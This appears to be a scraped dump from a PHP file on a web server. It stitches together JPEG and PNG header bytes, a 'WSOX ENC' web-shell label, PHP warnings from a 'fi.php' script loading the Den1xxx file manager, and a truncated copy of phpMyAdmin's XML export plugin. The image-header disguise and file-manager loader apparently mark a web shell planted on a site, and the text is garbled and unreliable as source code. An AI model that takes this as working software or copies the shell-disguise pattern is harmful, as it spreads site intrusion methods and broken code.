1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
setTable($table); if (! is_array($tables)) { return; } $this->setTables($tables); } protected function setProperties(): ExportPluginProperties { // create the export plugin property item $exportPluginProperties = new ExportPluginProperties(); $exportPluginProperties->setText('XML'); $exportPluginProperties->setExtension('xml'); $exportPluginProperties->setMimeType('text/xml'); $exportPluginProperties->setOptionsText(__('Options')); // create the root group that will be the options field for // $exportPluginProperties // this will be shown as "Format specific options" $exportSpecificOptions = new OptionsPropertyRootGroup('Format Specific Options'); // general options main group $generalOptions = new OptionsPropertyMainGroup('general_opts'); // create primary items and add them to the group $leaf = new HiddenPropertyItem('structure_or_data'); $generalOptions->addProperty($leaf); // add the main group to the root group $exportSpecificOptions->addProperty($generalOptions); // export structure main group $structure = new OptionsPropertyMainGroup( 'structure', __('Object creation options (all are recommended)') ); // create primary items and add them to the group $leaf = new BoolPropertyItem( 'export_events', __('Events') ); $structure->addProperty($leaf); $leaf = new BoolPropertyItem( 'export_functions', __('Functions') ); $structure->addProperty($leaf); $leaf = new BoolPropertyItem( 'export_procedures', __('Procedures') ); $structure->addProperty($leaf); $leaf = new BoolPropertyItem( 'export_tables', __('Tables') ); $structure->addProperty($leaf); $leaf = new BoolPropertyItem( 'export_triggers', __('Triggers') ); $structure->addProperty($leaf); $leaf = new BoolPropertyItem( 'export_views', __('Views') ); $structure->addProperty($leaf); $exportSpecificOptions->addProperty($structure); // data main group $data = new OptionsPropertyMainGroup( 'data', __('Data dump options') ); // create primary items and add them to the group $leaf = new BoolPropertyItem( 'export_contents', __('Export contents') ); $data->addProperty($leaf); $exportSpecificOptions->addProperty($data); // set the options for the export plugin property item $exportPluginProperties->setOptions($exportSpecificOptions); return $exportPluginProperties; } /** * Generates output for SQL defintions of routines * * @param string $db Database name * @param string $type Item type to be used in XML output * @param string $dbitype Item type used in DBI queries * * @return string XML with definitions */ private function exportRoutinesDefinition($db, $type, $dbitype) { global $dbi; // Export routines $routines = $dbi->getProceduresOrFunctions($db, $dbitype); return $this->exportDefinitions($db, $type, $dbitype, $routines); } /** * Generates output for SQL defintions * * @param string $db Database name * @param string $type Item type to be used in XML output * @param string $dbitype Item type used in DBI queries * @param array $names Names of items to export * * @return string XML with definitions */ private function exportDefinitions($db, $type, $dbitype, array $names) { global $crlf, $dbi; $head = ''; if ($names) { foreach ($names as $name) { $head .= ' ' . $crlf; // Do some formatting $sql = $dbi->getDefinition($db, $dbitype, $name); $sql = htmlspecialchars(rtrim($sql)); $sql = str_replace("\n", "\n ", $sql); $head .= ' ' . $sql . $crlf; $head .= ' ' . $crlf; } } return $head; } /** * Outputs export header. It is the first method to be called, so all * the required variables are initialized here. */ public function exportHeader(): bool { $this->initSpecificVariables(); global $crlf, $cfg, $db, $dbi; $table = $this->getTable(); $tables = $this->getTables(); $export_struct = isset($GLOBALS['xml_export_functions']) || isset($GLOBALS['xml_export_procedures']) || isset($GLOBALS['xml_export_tables']) || isset($GLOBALS['xml_export_triggers']) || isset($GLOBALS['xml_export_views']); $export_data = isset($GLOBALS['xml_export_contents']); if ($GLOBALS['output_charset_conversion']) { $charset = $GLOBALS['charset']; } else { $charset = 'utf-8'; } $head = '' . $crlf . '' . $crlf . $crlf; $head .= '' . $crlf; if ($export_struct) { $result = $dbi->fetchResult( 'SELECT `DEFAULT_CHARACTER_SET_NAME`, `DEFAULT_COLLATION_NAME`' . ' FROM `information_schema`.`SCHEMATA` WHERE `SCHEMA_NAME`' . ' = \'' . $dbi->escapeString($db) . '\' LIMIT 1' ); $db_collation = $result[0]['DEFAULT_COLLATION_NAME']; $db_charset = $result[0]['DEFAULT_CHARACTER_SET_NAME']; $head .= ' ' . $crlf; $head .= ' ' . $crlf; $head .= ' ' . $crlf; if (count($tables) === 0) { $tables[] = $table; } foreach ($tables as $table) { // Export tables and views $result = $dbi->fetchResult( 'SHOW CREATE TABLE ' . Util::backquote($db) . '.' . Util::backquote($table), 0 ); $tbl = (string) $result[$table][1]; $is_view = $dbi->getTable($db, $table) ->isView(); if ($is_view) { $type = 'view'; } else { $type = 'table'; } if ($is_view && ! isset($GLOBALS['xml_export_views'])) { continue; } if (! $is_view && ! isset($GLOBALS['xml_export_tables'])) { continue; } $head .= ' ' . $crlf; $tbl = ' ' . htmlspecialchars($tbl); $tbl = str_replace("\n", "\n ", $tbl); $head .= $tbl . ';' . $crlf; $head .= ' ' . $crlf; if (! isset($GLOBALS['xml_export_triggers']) || ! $GLOBALS['xml_export_triggers']) { continue; } // Export triggers $triggers = $dbi->getTriggers($db, $table); if (! $triggers) { continue; } foreach ($triggers as $trigger) { $code = $trigger['create']; $head .= ' ' . $crlf; // Do some formatting $code = mb_substr(rtrim($code), 0, -3); $code = ' ' . htmlspecialchars($code); $code = str_replace("\n", "\n ", $code); $head .= $code . $crlf; $head .= ' ' . $crlf; } unset($trigger, $triggers); } if (isset($GLOBALS['xml_export_functions']) && $GLOBALS['xml_export_functions']) { $head .= $this->exportRoutinesDefinition($db, 'function', 'FUNCTION'); } if (isset($GLOBALS['xml_export_procedures']) && $GLOBALS['xml_export_procedures']) { $head .= $this->exportRoutinesDefinition($db, 'procedure', 'PROCEDURE'); } if (isset($GLOBALS['xml_export_events']) && $GLOBALS['xml_export_events']) { // Export events $events = $dbi->fetchResult( 'SELECT EVENT_NAME FROM information_schema.EVENTS ' . "WHERE EVENT_SCHEMA='" . $dbi->escapeString($db) . "'" ); $head .= $this->exportDefinitions($db, 'event', 'EVENT', $events); } unset($result); $head .= ' ' . $crlf; $head .= ' ' . $crlf; if ($export_data) { $head .= $crlf; } } return $this->export->outputHandler($head); } /** * Outputs export footer */ public function exportFooter(): bool { $foot = ''; return $this->export->outputHandler($foot); } /** * Outputs database header * * @param string $db Database name * @param string $dbAlias Aliases of db */ public function exportDBHeader($db, $dbAlias = ''): bool { global $crlf; if (empty($dbAlias)) { $dbAlias = $db; } if (isset($GLOBALS['xml_export_contents']) && $GLOBALS['xml_export_contents']) { $head = ' ' . $crlf . ' ' . $crlf; return $this->export->outputHandler($head); } return true; } /** * Outputs database footer * * @param string $db Database name */ public function exportDBFooter($db): bool { global $crlf; if (isset($GLOBALS['xml_export_contents']) && $GLOBALS['xml_export_contents']) { return $this->export->outputHandler(' ' . $crlf); } return true; } /** * Outputs CREATE DATABASE statement * * @param string $db Database name * @param string $exportType 'server', 'database', 'table' * @param string $dbAlias Aliases of db */ public function exportDBCreate($db, $exportType, $dbAlias = ''): bool { return true; } /** * Outputs the content of a table in XML format * * @param string $db database name * @param string $table table name * @param string $crlf the end of line sequence * @param string $errorUrl the url to go back in case of error * @param string $sqlQuery SQL query for obtaining data * @param array $aliases Aliases of db/table/columns */ public function exportData( $db, $table, $crlf, $errorUrl, $sqlQuery, array $aliases = [] ): bool { global $dbi; // Do not export data for merge tables if ($dbi->getTable($db, $table)->isMerge()) { return true; } $db_alias = $db; $table_alias = $table; $this->initAlias($aliases, $db_alias, $table_alias); if (isset($GLOBALS['xml_export_contents']) && $GLOBALS['xml_export_contents']) { $result = $dbi->query($sqlQuery, DatabaseInterface::CONNECT_USER, DatabaseInterface::QUERY_UNBUFFERED); $columns_cnt = $result->numFields(); $columns = []; foreach ($result->getFieldNames() as $column) { $columns[] = stripslashes($column); } $buffer = ' ' . $crlf; if (! $this->export->outputHandler($buffer)) { return false; } while ($record = $result->fetchRow()) { $buffer = ' ' . $crlf; for ($i = 0; $i < $columns_cnt; $i++) { $col_as = $columns[$i]; if (! empty($aliases[$db]['tables'][$table]['columns'][$col_as])) { $col_as = $aliases[$db]['tables'][$table]['columns'][$col_as]; } // If a cell is NULL, still export it to preserve // the XML structure if (! isset($record[$i])) { $record[$i] = 'NULL'; } $buffer .= ' ' . htmlspecialchars((string) $record[$i]) . '' . $crlf; } $buffer .= '
' . $crlf; if (! $this->export->outputHandler($buffer)) { return false; } } } return true; } /* ~~~~~~~~~~~~~~~~~~~~ Getters and Setters ~~~~~~~~~~~~~~~~~~~~ */ /** * Gets the table name * * @return string */ private function getTable() { return $this->table; } /** * Sets the table name * * @param string $table table name */ private function setTable($table): void { $this->table = $table; } /** * Gets the table names * * @return array */ private function getTables() { return $this->tables; } /** * Sets the table names * * @param array $tables table names */ private function setTables(array $tables): void { $this->tables = $tables; } public static function isAvailable(): bool { global $db; // Can't do server export. return isset($db) && strlen($db) > 0; } }